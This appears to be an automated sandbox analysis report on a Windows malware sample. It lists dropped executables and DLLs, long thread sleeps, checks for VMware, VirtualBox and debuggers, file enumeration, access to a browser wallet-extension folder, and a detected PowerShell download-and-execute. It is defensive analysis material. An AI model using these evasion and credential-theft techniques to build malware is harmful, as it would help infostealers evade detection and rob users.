Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\is-1KTDQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\is-01HD2.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\userKEHJKJDGCG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\IIDHJKFBGI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\424576\Patent.pif	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\is-DFBEG.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\FBKJDGCGDA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Jekky Video Editor\msvcp71.dll (copy)	Jump to dropped file

Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe

Evasive API call chain: GetSystemTime,DecisionNodes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.2 %

Source: C:\Users\user\Desktop\file.exe TID: 3468	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 400	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1196	Thread sleep count: 192 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1196	Thread sleep time: -38400s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4876	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1352	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe TID: 1088	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe TID: 1008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe TID: 1180	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe TID: 2348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe TID: 4296	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe TID: 6844	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe TID: 1240	Thread sleep count: 74 > 30	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe TID: 3916	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe TID: 4304	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe TID: 3988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4016	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7740	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5828	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe TID: 6956	Thread sleep time: -58000s >= -30000s
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe TID: 8096	Thread sleep time: -1680000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6224	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00540B17 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_00540B17
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Code function: 18_2_004062EB FindFirstFileW,FindClose,	18_2_004062EB
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Code function: 18_2_00406CB1 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	18_2_00406CB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	39_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	39_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	39_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	39_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	39_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	39_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	39_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	39_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	39_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	39_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	39_2_004133C0

Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe

Code function: 19_2_00409B78 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

19_2_00409B78

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Thread delayed: delay time: 60000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\

Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000004.00000002.2766256218.00000196660AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: svchost.exe, 00000002.00000002.2771195035.0000023ABB87D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: svchost.exe, 00000002.00000002.2770992737.0000023ABB865000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000es
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1799896121.0000000005680000.00000004.08000000.00040000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CYCFPXIEBATTBKHGFSELOVMGNCWKTKMDAPMJOG
Source: svchost.exe, 00000002.00000002.2771436349.0000023ABB902000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: svchost.exe, 00000004.00000002.2766256218.00000196660AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: svchost.exe, 00000008.00000002.2770187067.000002109FC2B000.00000004.00000020.00020000.00000000.sdmp, Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1778272317.0000000001C0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000002.00000002.2766200149.0000023ABB82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000002.2771491338.0000019666932000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc
Source: svchost.exe, 00000004.00000002.2766256218.00000196660AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc$
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000SCSI\CdRomNECVMWarVMware_SATA_CD001.00SCSI\CdRomNECVMWarVMware_SATA_CD00SCSI\CdRomNECVMWarSCSI\NECVMWarVMware_SATA_CD001NECVMWarVMware_SATA_CD001GenCdRom
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: svchost.exe, 00000002.00000002.2771324999.0000023ABB88A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .@\??\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000002.2766256218.00000196660AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: svchost.exe, 00000002.00000002.2765076084.0000023ABB802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: svchost.exe, 00000004.00000002.2771491338.0000019666932000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: svchost.exe, 00000002.00000002.2766028738.0000023ABB813000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000000.1497083039.00000000015ED000.00000008.00000001.01000000.0000000F.sdmp	Binary or memory string: depgithub.com/vmware/govmomiv0.43.0h1:7Kg3Bkdly+TrE67BYXzRq7ZrDnn7xqpKX95uEh2f9Go=
Source: svchost.exe, 00000004.00000002.2766256218.00000196660AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: svchost.exe, 00000004.00000002.2766256218.00000196660AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: svchost.exe, 00000002.00000002.2771324999.0000023ABB88A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000003.1731505490.0000019667010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk

Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00553EB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_00553EB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_00404610 VirtualProtect ?,00000004,00000100,00000000

39_2_00404610

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

Code function: 18_2_00406312 GetModuleHandleA,LoadLibraryA,GetProcAddress,

18_2_00406312

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00433080 mov eax, dword ptr fs:[00000030h]	7_2_00433080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00433080 mov eax, dword ptr fs:[00000030h]	7_2_00433080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00419160 mov eax, dword ptr fs:[00000030h]	39_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_0050CEF0 lstrlenA,GetProcessHeap,HeapAlloc,lstrcpynA,

7_2_0050CEF0

Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0053FC35 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_0053FC35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00553EB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00553EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0041C8D9 SetUnhandledExceptionFilter,	39_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	39_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A8B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_69A8B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A8B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	39_2_69A8B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_69C3AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

